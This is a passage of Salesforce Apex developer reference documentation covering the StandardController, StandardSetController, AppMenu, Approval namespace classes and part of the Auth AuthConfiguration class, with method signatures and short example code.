public StandardController(SObject controllerSObject)

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Reference

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Parameters
controllerSObject

Type: SObject
A standard or custom object.

StandardController Methods
The following are methods for StandardController. All are instance methods.
IN THIS SECTION:
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup.
This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as
well.
cancel()
Returns the PageReference of the cancel page.
delete()
Deletes record and returns the PageReference of the delete page.
edit()
Returns the PageReference of the standard edit page.
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
save()
Saves changes and returns the updated PageReference.
view()
Returns the PageReference object of the standard detail page.

addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This
method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well.

Signature
public Void addFields(List<String> fieldNames)

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Reference

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Parameters
fieldNames

Type: List<String>

Return Value
Type: Void

Usage
This method should be called before a record has been loadedtypically, it's called by the controller's constructor. If this method is
called outside of the constructor, you must use the reset() method before calling addFields().
The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields,
such as foo__r.myField__c.
This method is only for controllers used by dynamicVisualforce bindings.

cancel()
Returns the PageReference of the cancel page.

Signature
public System.PageReference cancel()

Return Value
Type: System.PageReference

delete()
Deletes record and returns the PageReference of the delete page.

Signature
public System.PageReference delete()

Return Value
Type: System.PageReference

edit()
Returns the PageReference of the standard edit page.

Signature
public System.PageReference edit()

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Reference

StandardController Class

Return Value
Type: System.PageReference

getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.

Signature
public String getId()

Return Value
Type: String

getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.

Signature
public SObject getRecord()

Return Value
Type: sObject

Usage
Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other
fields, including fields from any related objects, must be queried using a SOQL expression.
Tip: You can work around this restriction by including a hidden component that references any additional fields that you want
to query. Hide the component from display by setting the component's rendered attribute to false.

Example
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>

reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.

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Reference

StandardSetController Class

Signature
public Void reset()

Return Value
Type: Void

Usage
This method is only used if addFields is called outside the constructor, and it must be called directly before addFields.
This method is only for controllers used by dynamicVisualforce bindings.

save()
Saves changes and returns the updated PageReference.

Signature
public System.PageReference save()

Return Value
Type: System.PageReference

view()
Returns the PageReference object of the standard detail page.

Signature
public System.PageReference view()

Return Value
Type: System.PageReference

StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list

controllers provided by Salesforce.

Namespace
ApexPages

Usage
The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce
StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values

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Reference

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are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical
changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.

Instantiation
You can instantiate a StandardSetController in either of the following ways:
From a list of sObjects:
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);

From a query locator:

ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM
Opportunity]));

Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query
locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController
with a list of more than 10,000 records doesnt throw an exception, and instead truncates the records to the limit.

Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers
public ApexPages.StandardSetController setCon {
get {
if(setCon == null) {
setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT Name, CloseDate FROM Opportunity]));
}
return setCon;
}
set;
}
// Initialize setCon and return a list of records
public List<Opportunity> getOpportunities() {
return (List<Opportunity>) setCon.getRecords();
}
}

The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.Name}"/>

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Reference

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<apex:column value="{!o.CloseDate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>

IN THIS SECTION:
StandardSetController Constructors
StandardSetController Methods

StandardSetController Constructors
The following are constructors for StandardSetController.
IN THIS SECTION:
StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query
locator.
StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom
objects.

StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query locator.

Signature
public StandardSetController(Database.QueryLocator sObjectList)

Parameters
sObjectList

Type: Database.QueryLocator
A query locator returning a list of sObjects.

StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom objects.

Signature
public StandardSetController(List<SObject> controllerSObjects)

Parameters
controllerSObjects

Type: List<SObject>

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Reference

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A List of standard or custom objects.

StandardSetController Methods
The following are methods for StandardSetController. All are instance methods.
IN THIS SECTION:
cancel()
Returns the PageReference of the original page, if known, or the home page.
first()
Returns the first page of records.
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you
can process using the list controller. The maximum record limit is 10,000 records.
getFilterId()
Returns the ID of the filter that is currently in context.
getHasNext()
Indicates whether there are more records after the current page set.
getHasPrevious()
Indicates whether there are more records before the current page set.
getListViewOptions()
Returns a list of the listviews available to the current user.
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
getPageSize()
Returns the number of records included in each page set.
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the
class, and is used for performing mass updates.
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
getResultSize()
Returns the number of records in the set.
getSelected()
Returns the list of sObjects that have been selected.
last()
Returns the last page of records.
next()
Returns the next page of records.
previous()
Returns the previous page of records.

624

Reference

StandardSetController Class

save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference
to the original page, if known, or the home page.
setFilterID(filterId)
Sets the filter ID of the controller.
setpageNumber(pageNumber)
Sets the page number.
setPageSize(pageSize)
Sets the number of records in each page set.
setSelected(selectedRecords)
Set the selected records.

cancel()
Returns the PageReference of the original page, if known, or the home page.

Signature
public System.PageReference cancel()

Return Value
Type: System.PageReference

first()
Returns the first page of records.

Signature
public Void first()

Return Value
Type: Void

getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can
process using the list controller. The maximum record limit is 10,000 records.

Signature
public Boolean getCompleteResult()

Return Value
Type: Boolean

625

Reference

StandardSetController Class

getFilterId()
Returns the ID of the filter that is currently in context.

Signature
public String getFilterId()

Return Value
Type: String

getHasNext()
Indicates whether there are more records after the current page set.

Signature
public Boolean getHasNext()

Return Value
Type: Boolean

getHasPrevious()
Indicates whether there are more records before the current page set.

Signature
public Boolean getHasPrevious()

Return Value
Type: Boolean

getListViewOptions()
Returns a list of the listviews available to the current user.

Signature
public System.SelectOption getListViewOptions()

Return Value
Type: System.SelectOption[]

getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.

626

Reference

StandardSetController Class

Signature
public Integer getPageNumber()

Return Value
Type: Integer

getPageSize()
Returns the number of records included in each page set.

Signature
public Integer getPageSize()

Return Value
Type: Integer

getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class,
and is used for performing mass updates.

Signature
public sObject getRecord()

Return Value
Type: sObject

getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.

Signature
public sObject[] getRecords()

Return Value
Type: sObject[]

getResultSize()
Returns the number of records in the set.

627

Reference

StandardSetController Class

Signature
public Integer getResultSize()

Return Value
Type: Integer

getSelected()
Returns the list of sObjects that have been selected.

Signature
public sObject[] getSelected()

Return Value
Type: sObject[]

last()
Returns the last page of records.

Signature
public Void last()

Return Value
Type: Void

next()
Returns the next page of records.

Signature
public Void next()

Return Value
Type: Void

previous()
Returns the previous page of records.

Signature
public Void previous()

628

Reference

StandardSetController Class

Return Value
Type: Void

save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to
the original page, if known, or the home page.

Signature
public System.PageReference save()

Return Value
Type: System.PageReference

setFilterID(filterId)
Sets the filter ID of the controller.

Signature
public Void setFilterID(String filterId)

Parameters
filterId

Type: String

Return Value
Type: Void

setpageNumber(pageNumber)
Sets the page number.

Signature
public Void setpageNumber(Integer pageNumber)

Parameters
pageNumber

Type: Integer

Return Value
Type: Void

629

Reference

AppLauncher Namespace

setPageSize(pageSize)
Sets the number of records in each page set.

Signature
public Void setPageSize(Integer pageSize)

Parameters
pageSize

Type: Integer

Return Value
Type: Void

setSelected(selectedRecords)
Set the selected records.

Signature
public Void setSelected(sObject[] selectedRecords)

Parameters
selectedRecords

Type: sObject[]

Return Value
Type: Void

AppLauncher Namespace
The AppLauncher namespace provides methods for managing the appearance of apps in the App Launcher, including their visibility
and sort order.
The following class is in the AppLauncher namespace.
IN THIS SECTION:
AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.

AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.

630

Reference

AppMenu Class

Namespace
AppLauncher
IN THIS SECTION:
AppMenu Methods

AppMenu Methods
The following are methods for AppMenu.
IN THIS SECTION:
setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.
setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
setUserSortOrder(appIds)
Sets an individual users default sort order for the App Launcher based on a List of app menu item IDs in the desired order.

setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.

Signature
public static void setAppVisibility(Id appMenuItemId, Boolean isVisible)

Parameters
appMenuItemId

Type: Id
The 15-character application ID value for an app. For more information, see the ApplicationId field for AppMenuItem or the
AppMenuItemId field for UserAppMenuItem in the SOAP API Developer Guide
isVisible

Type: Boolean
If true, the app is visible.

Return Value
Type: void

setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.

631

Reference

Approval Namespace

Signature
public static void setOrgSortOrder(List<Id> appIds)

Parameters
appIds

Type: List<Id>
A list of application ID values. For more information, see the ApplicationId field for AppMenuItem in the SOAP API Developer
Guide.

Return Value
Type: void

setUserSortOrder(appIds)
Sets an individual users default sort order for the App Launcher based on a List of app menu item IDs in the desired order.

Signature
public static void setUserSortOrder(List<Id> appIds)

Parameters
appIds

Type: List<Id>
A list of application ID values. For more information, see the AppMenuItemId field for UserAppMenuItem in the SOAP API Developer
Guide.

Return Value
Type: void

Approval Namespace
The Approval namespace provides classes and methods for approval processes.
The following are the classes in the Approval namespace.
IN THIS SECTION:
LockResult Class
The result of a record lock returned by a System.Approval.lock() method.
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.

632

Reference

LockResult Class

ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.

LockResult Class
The result of a record lock returned by a System.Approval.lock() method.

Namespace
Approval

Usage
The System.Approval.lock() methods return Approval.LockResult objects. Each element in a LockResult array corresponds
to an element in the ID or sObject array passed as a parameter to a lock method. The first element in the LockResult array corresponds
to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If only one ID or sObject
is passed in, the LockResult array contains a single element.

Example
The following example obtains and iterates through the returned Approval.LockResult objects. It locks some queried accounts using
Approval.lock with a false second parameter to allow partial processing of records on failure. Next, it iterates through the
results to determine whether the operation was successful for each record. It writes the ID of every record that was processed successfully
to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to lock
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Lock the accounts
Approval.LockResult[] lrList = Approval.lock(accts, false);
// Iterate through each returned result
for(Approval.LockResult lr : lrList) {
if (lr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully locked account with ID: ' + lr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : lr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}

633

Reference

LockResult Class

IN THIS SECTION:
LockResult Methods
SEE ALSO:
Approval Class

LockResult Methods
The following are methods for LockResult.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
getId()
Returns the ID of the sObject you are trying to lock.
isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

getId()
Returns the ID of the sObject you are trying to lock.

Signature
public Id getId()

Return Value
Type: Id

Usage
If the field contains a value, the object was locked. If the field is empty, the operation was not successful.

634

Reference

ProcessRequest Class

isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.

Namespace
Approval

Usage
The request must be instantiated via the child classes, ProcessSubmitRequest and ProcessWorkItemRequest.

ProcessRequest Methods
The following are methods for ProcessRequest. All are instance methods.
IN THIS SECTION:
getComments()
Returns the comments that have been added previously to the approval request.
getNextApproverIds()
Returns the list of user IDs of user specified as approvers.
setComments(comments)
Sets the comments to be added to the approval request.
setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If
not, you cannot specify a user ID and this method must be null.

getComments()
Returns the comments that have been added previously to the approval request.

Signature
public String getComments()

635

Reference

ProcessRequest Class

Return Value
Type: String

getNextApproverIds()
Returns the list of user IDs of user specified as approvers.

Signature
public ID[] getNextApproverIds()

Return Value
Type: ID[]

setComments(comments)
Sets the comments to be added to the approval request.

Signature
public Void setComments(String comments)

Parameters
comments

Type: String

Return Value
Type: Void

setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not,
you cannot specify a user ID and this method must be null.

Signature
public Void setNextApproverIds(ID[] nextApproverIds)

Parameters
nextApproverIds

Type: ID[]

Return Value
Type: Void

636

Reference

ProcessResult Class

ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.

Namespace
Approval

Usage
A ProcessResult object is returned by the process method. You must specify the Approval namespace when creating an instance of
this class. For example:
Approval.ProcessResult result = Approval.process(req1);

ProcessResult Methods
The following are methods for ProcessResult. All are instance methods.
IN THIS SECTION:
getEntityId()
The ID of the record being processed.
getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.
getInstanceId()
The ID of the approval process that has been submitted for approval.
getInstanceStatus()
The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.
getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.
isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.

getEntityId()
The ID of the record being processed.

Signature
public String getEntityId()

Return Value
Type: String

637

Reference

ProcessResult Class

getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getInstanceId()
The ID of the approval process that has been submitted for approval.

Signature
public String getInstanceId()

Return Value
Type: String

getInstanceStatus()
The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.

Signature
public String getInstanceStatus()

Return Value
Type: String

getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.

Signature
public ID[] getNewWorkitemIds()

Return Value
Type: ID[]

isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.

638

Reference

ProcessSubmitRequest Class

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.

Namespace
Approval

Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessSubmitRequest psr = new Approval.ProcessSubmitRequest();

Inherited Methods
In addition to the methods listed, the ProcessSubmitRequest class has access to all the methods in its parent class, ProcessRequest
Class on page 635.
getComments()
getNextApproverIds()
setComments(comments)
setNextApproverIds(nextApproverIds)

Example
To view sample code, refer to Approval Processing Example on page 286.

ProcessSubmitRequest Methods
The following are methods for ProcessSubmitRequest. All are instance methods.
IN THIS SECTION:
getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.
getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.

639

Reference

ProcessSubmitRequest Class

getSkipEntryCriteria()
If getProcessDefinitionNameOrId() returns a value other than null, getSkipEntryCriteria() determines
whether to evaluate the entry criteria for the process (true) or not (false).
getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.
setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.
setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.
setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria
for the process (true) or not (false).
setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup. If you dont set a submitter ID, the process uses the current user as the submitter.

getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.

Signature
public String getObjectId()

Return Value
Type: String

getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.

Signature
public String getProcessDefinitionNameOrId()

Return Value
Type: String

Usage
The default is null. If the return value is null, when a user submits a record for approval Salesforce evaluates the entry criteria for all
processes applicable to the user.

640

Reference

ProcessSubmitRequest Class

Signature
public Boolean getSkipEntryCriteria()

Return Value
Type: Boolean

getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.

Signature
public String getSubmitterId()

Return Value
Type: String

setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.

Signature
public Void setObjectId(String recordId)

Parameters
recordId

Type: String

Return Value
Type: Void

setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.

Signature
public Void setProcessDefinitionNameOrId(String nameOrId)

641

Reference

ProcessSubmitRequest Class

Parameters
nameOrId

Type: String
The process definition developer name or process definition ID. The record is submitted to this specific process. If set to null,
submission of a record approval follows standard evaluation; that is, every entry criteria of the process definition in the process order
is evaluated and the one that satisfies is picked and submitted.

Return Value
Type: Void

Usage
If the process definition name or ID is not set via this method, then by default it is null. If it is null, the submission of a record for approval
evaluates entry criteria for all processes applicable to the submitter. The order of evaluation is based on the process order of the setup.

setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria for
the process (true) or not (false).

Signature
public Void setSkipEntryCriteria(Boolean skipEntryCriteria)

Parameters
skipEntryCriteria

Type: Boolean
If set to true, request submission skips the evaluation of entry criteria for the process set in setProcessDefinitionNameOrId(nameOrId)
on page 641. If the process definition name or ID is not specified, this parameter is ignored and standard evaluation is followed based
on process order. If set to false, or if this method isnt called, the entry criteria is not skipped.

Return Value
Type: Void

setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process definition
setup. If you dont set a submitter ID, the process uses the current user as the submitter.

Signature
public Void setSubmitterId(String userID)

642

Reference

ProcessWorkitemRequest Class

Parameters
userID

Type: String
The user ID on behalf of which the record is submitted. If set to null, the current user is the submitter. If the submitter is not set
with this method, the default submitter is null (the current user).

Return Value
Type: Void

ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.

Namespace
Approval

Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessWorkitemRequest pwr = new Approval.ProcessWorkitemRequest();

Inherited Methods
In addition to the methods listed, the ProcessWorkitemRequest class has access to all the methods in its parent class,
ProcessRequest Class:
getComments()
getNextApproverIds()
setComments(comments)
setNextApproverIds(nextApproverIds)

ProcessWorkitemRequest Methods
The following are methods for ProcessWorkitemRequest. All are instance methods.
IN THIS SECTION:
getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.
getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.
setAction(actionType)
Sets the type of action to take for processing an approval request.

643

Reference

ProcessWorkitemRequest Class

setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.

getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.

Signature
public String getAction()

Return Value
Type: String

getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.

Signature
public String getWorkitemId()

Return Value
Type: String

setAction(actionType)
Sets the type of action to take for processing an approval request.

Signature
public Void setAction(String actionType)

Parameters
actionType

Type: String
Valid values are: Approve, Reject, or Removed. Only system administrators can specify Removed.

Return Value
Type: Void

setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.

644

Reference

UnlockResult Class

Signature
public Void setWorkitemId(String id)

Parameters
id

Type: String

Return Value
Type: Void

UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.

Namespace
Approval

Usage
The System.Approval.unlock() methods return Approval.UnlockResult objects. Each element in an UnlockResult array
corresponds to an element in the ID or sObject array passed as a parameter to an unlock method. The first element in the UnlockResult
array corresponds to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If
only one ID or sObject is passed in, the UnlockResult array contains a single element.

Example
The following example shows how to obtain and iterate through the returned Approval.UnlockResult objects. It locks some queried
accounts using Approval.unlock with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful for each record. It writes the ID of every record that was
processed successfully to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to unlock
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Unlock the accounts
Approval.UnlockResult[] urList = Approval.unlock(accts, false);
// Iterate through each returned result
for(Approval.UnlockResult ur : urList) {
if (ur.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully unlocked account with ID: ' + ur.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : ur.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());

645

Reference

UnlockResult Class

System.debug('Account fields that affected this error: ' + err.getFields());

}
}
}

IN THIS SECTION:
UnlockResult Methods
SEE ALSO:
Approval Class

UnlockResult Methods
The following are methods for UnlockResult.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
getId()
Returns the ID of the sObject you are trying to unlock.
isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

getId()
Returns the ID of the sObject you are trying to unlock.

Signature
public Id getId()

Return Value
Type: Id

646

Reference

Auth Namespace

Usage
If the field contains a value, the object was unlocked. If the field is empty, the operation was not successfult.

isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Auth Namespace
The Auth namespace provides an interface and classes for single sign-on into Salesforce and session security management.
The following is the interface in the Auth namespace.
IN THIS SECTION:
AuthConfiguration Class
Contains methods for configuring the settings for users to log in to a community, or a custom domain created using My Domain,
with an authentication provider, such as Facebook.
AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method
for user authentication. This class allows you to group the information to be passed in rather than passing headers, body, and query
parameters individually.
AuthProviderPlugin Interface
Use this interface to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce.
AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.
AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for
the Janrain provider.
CommunitiesUtil Class
Contains methods for getting information about a community user.
ConnectedAppPlugin Class
Extend the behavior of a connected app. This class gives you more control over the interaction between Salesforce and your connected
app. You can customize how a connected app is invoked depending on the protocol used. You can intercept SAML XML generated
by the Salesforce identity provider and add custom code before passing it to the target service provider.
InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers
can use the context information to write code that is unique to the type of invocation.

647

Reference

AuthConfiguration Class

RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook or Janrain, for single sign-on into Salesforce.
SamlJitHandler Interface
Use this interface to control and customize Just-in-Time user provisioning logic during SAML single sign-on.
SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.
SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.
UserData Class
Stores user information for Auth.RegistrationHandler.
VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.
Auth Exceptions
The Auth namespace contains one exception class.

AuthConfiguration Class
Contains methods for configuring the settings for users to log in to a community, or a custom domain created using My Domain, with
an authentication provider, such as Facebook.

Namespace
Auth

Example
This example shows how to call some methods on the Auth.AuthConfiguration class. Before you can run this sample, you
need to provide valid values for the URLs and developer name.
String communityUrl = '<Add URL>';
String startUrl = '<Add URL>';
Auth.AuthConfiguration authConfig = new Auth.AuthConfiguration(communityUrl,startUrl);
List<AuthProvider> authPrvs = authConfig.getAuthProviders();
String bColor = authConfig.getBackgroundColor();
String fText = authConfig.getFooterText();
String sso = Auth.AuthConfiguration.getAuthProviderSsoUrl(communityUrl, startUrl,
'developerName');

AuthConfiguration Constructors
The following are constructors for AuthConfiguration.

648

Reference

AuthConfiguration Class

AuthConfiguration(communityOrCustomUrl, startUrl)
Creates a new instance of the AuthConfiguration class using the specified community or custom domain URL and starting URL
for authenticated users.

Signature
public AuthConfiguration(String communityOrCustomUrl, String startUrl)

Parameters
communityOrCustomUrl

Type: String
The URL for the community or custom domain.
startUrl

Type: String
The page users see after successfully logging in to the community or custom domain.

AuthConfiguration(networkId, startUrl)
Creates an instance of the AuthConfiguration class using the specified community ID and authenticated-user starting URL.

Signature
public AuthConfiguration(Id networkId, String startUrl)

Parameters
networkId

Type: Id
The ID of the community.
startUrl

Type: String
The page users see after successfully logging in to the community.

AuthConfiguration Methods
The following are methods for AuthConfiguration. Use these methods to manage and customize authentication for a Salesforce
community.
IN THIS SECTION:
getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting
Allow internal users to log in directly to the community on the Login & Registration page in Community Management. Its
disabled by default.

649

Reference

AuthConfiguration Class

getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created
by using My Domain.
getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.
getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.
getAuthProviderSsoUrl(communityUrl, startUrl, developerName)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
getBackgroundColor()
Returns the color for the background of the login page for a community.
getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.
getFooterText()
Returns the text at the bottom of the login page for a community.
getForgotPasswordUrl()
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.
getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.
getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.
getSamlSsoUrl(communityUrl, startURL, samlId)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.
getSelfRegistrationUrl()
Returns the location of the self-registration page for new users to sign up for an account with a community.
getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.
getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party
authentication provider.
isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.

getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting Allow
internal users to log in directly to the community on the Login & Registration page in Community Management. Its disabled by
default.

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Reference

AuthConfiguration Class

Signature
public Boolean getAllowInternalUserLoginEnabled()

Return Value
Type: Boolean

Usage
If true, internal users log in to a community from the community login page with their internal credentials. If they navigate to their
internal org from the community, they don't have to log in again.

getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created by
using My Domain.

Signature
public AuthConfig getAuthConfig()

Return Value
Type: AuthConfig
The AuthConfig sObject for the community or custom domain.

getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.

Signature
public List<AuthConfigProviders> getAuthConfigProviders()

Return Value
Type: List<AuthConfigProviders>
